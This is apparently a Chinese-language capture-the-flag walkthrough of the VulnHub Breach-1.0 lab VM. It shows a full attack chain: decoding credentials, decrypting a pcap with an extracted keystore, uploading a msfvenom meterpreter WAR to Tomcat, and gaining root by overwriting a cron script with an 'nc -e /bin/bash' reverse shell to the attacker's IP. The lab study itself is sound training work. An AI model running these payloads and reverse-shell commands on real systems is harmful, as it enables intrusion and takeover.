靶机下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip
环境配置根据作者描述,靶机配置了一个静态IP地址(192.168.110.140),需要仅主机适配器配置此子网
配置仅主机网卡为DHCP,子网地址192.168.110.0
注意:类型为仅主机的网卡才可以
VMware适配器改成以下地址
靶机和kali网络选仅主机模式
确实环境是否配置好
环境搞好,直接开干!
信息收集扫端口
扫描发现全部端口都开放了,显然是配置了端口防护,只能手动检测了
优先测试80端口,浏览器访问192.168.110.140
开放了web服务,查看源码
看着像base64编码,尝试base64解码
可能是二次编码,继续解码
解码成功,像是用户名和密码
用户名:pgibbons
密码:damnitfeel$goodtobeagang$ta
尝试ssh登录无果,找web登录界面
点击网站首页的图片,然后点击Employee portal,出现登录界面
是一个impresscms搭建的网站,尝试利用刚刚得到的用户名密码登录
登录成功,发现三封未读邮件
拿webshell第三封邮件提示有个文件保存在192.168.110.140/.keystore,并且还提示说购买了新的SSL证书,先将文件下载下来
什么是keystore?
keystore可以认为是存放秘钥的一个包,需要提供正确的密码才能将包里的秘钥取出来。
所以,SSL证书也可以被存放在keystore中,需要找到密码才能得到SSL证书
在View Account下的Content中有个关于SSL链接,点进去
找到一个pcap文件,直接下载下来,并且还给了个密码tomcat,尝试利用这个密码去解keystore文件得到SSL证书
利用java自带的keytool工具导出keystore,该工具在jdk的bin目录下
利用以下命令查看keystore信息,密码是tomcat
keytool.exe -list -v -keystore C:Users11989Downloadskeystore
发现一个证书
用以下命令导出证书:
keytool.exe -importkeystore -srckeystore C:Users11989Downloadskeystore -destkeystore C:Users11989Downloadsimz.p12 -deststoretype pkcs12 -srcalias tomcat
参数说明:
-importkeystore 导出keystore
-srckeystore 源keystore文件
-destkeystore 导出之后的证书存放路径
-deststoretype 导出keystore之后的证书类型
-srcalias 源alias
成功导出SSL证书
SSL证书有啥用呢?由于http协议采用的是明文传输数据,是非常不安全的。所以,为了使http协议在传输数据时更安全,客户端和服务器直接通信需要利用SSL证书进行身份认证和数据加解密,没有正确的SSL证书就无法破解http数据包的内容。
在之前还有个pcap文件,是一个数据包文件,可以利用Wireshark工具打开,
frame:物理层的数据帧概况。Ethernet II:数据链路层以太网帧头部信息。Internet Protocol Version 4:互联网层IP包头部信息。Transmission Control Protocol:传输层的数据段头部信息,此处是TCP协议。
User Datagram Protocol:UDP协议Hypertext Transfer Protocol:应用层的信息,此处是HTTP协议Transport Layer Security 安全运输协议,SSL
发现攻击者(192.168.110.129)大量访问靶机的8443端口,但其中许多数据包都被加密了,
导入刚刚得到的SSL证书
点击编辑-->首选项-->Protocols-->SSL/TLS(如果没有SSL就选TLS)-->Edit
然后将证书导入,OK
成功解密数据包,发现攻击者访问的是8443端口https://192.168.110.140:8443/_M@nag3Me/html
用谷歌浏览器打开却提示无法访问,地址也没问题,为啥就是不行呢?这可能是被浏览器的安全机制拦截了,用burpsuite开个代理即可
成功访问,是一个登录界面,在攻击者(192.168.110.129)访问该地址的数据包中查找是否有用户名和密码
在第26个数据包中,发现Authorization字段中存在疑似用户名和密码的值,直接展开可以查看明文,也可以base64解码加密的字符串得到
用户名:tomcat
密码:Tt5D8F(#!*u=G)4m7zB
尝试登录并且成功,是tomcat管理后台,直接上传构造的war包获取网站权限
利用msf生成war木马
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f war > tomcat.war
上传war木马到tomcat
此时会发现多了个刚上传的war包生成的程序
MSF开启监听
点击执行tomcat程序,反dshell
成功反d,拿下webshell
提权在/var/www中发现两个php文件
发现mysql可以root免密登录,先反d一个命令行
python -c 'import pty; pty.spawn("/bin/bash")'
登录mysql
尝试udf提权,但是无权限写入plugin文件夹,提权失败
查看mysql数据库下的user表,发现用户milton、debian-sys-maint
将密文复制到https://www.somd5.com/解密
密文:6450d89bd3aff1d893b85d3ad65d2ec2 解密后:thelaststraw
查看/etc/passwd文件,发现有milton用户
利用su命令切换用户,登录成功
信息收集
sudo -l
history
find / -perm -u=s -type f 2>/dev/null
ps -anx | grep root
ps -ef
查看历史记录history,发现su登录过blumbergh用户
结合/etc/passwd下的用户描述,跟Bill有关,之前网站上就有出现过这个Bill这个名字
收件箱的第一封邮件署名就是Bill
并且在网站根目录下还发现了images,里面也有bill相关的图片bill.png
这里说想看下源码,用工具看下图片源码,这里采有strings命令,打印文件中的可打印字符串,图片是二进制文件,直接打开基本是乱码,只有那些可以直接打印的字符才有可能是我们想要得到的数据
strings命令是二进制工具集GNU Binutils的一员,用于打印文件中可打印字符串,文件可以是文本文件(test.c),但一般用于打印二进制目标文件、库或可执行文件中的可打印字符。字符串默认至少是4个或更多可打印字符的任意序列,可使用选项改变字符串最小长度。
用kali将bill.png下载下来,再用strings命令将可打印字符串写入到bill.txt
strings bill.png > bill.txt
查看bill.txt,倒数的几行字符比较可疑
使用coffeestains作为密码登录成功,用户名blumbergh
信息收集
sudo -l
history
find / -perm -u=s -type f 2>/dev/null
ps -anx | grep root
ps -ef
发现当前用户可以调用root执行的程序 tidyup.sh,这是一个定时任务,到了一定时间root会去自动执行,查看权限,root才有权限写入,但可以利用sudo命令调用tee命令进行写入,
什么是tee命令?
查看tee使用方法:https://www.runoob.com/linux/linux-comm-tee.html
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
也就是将一个文件的内容复制或者追加到另一个文件
先创建一个含反dshell命令的文件shell.txt,并写入反d命令(在blumbergh用户的home目录下)
其他目录可能会没有写入权限
echo "nc -e /bin/bash 192.168.110.128 8888" >shell.txt
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
写入成功,kali开启监听,等待root去自动执行这个脚本,成功提权到root
可以看到tidyup.sh脚本每三分钟root会执行一次
总结不要放过任何的信息,有可能看起来毫无用处的一堆信息,但串联起来却能达到目的。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)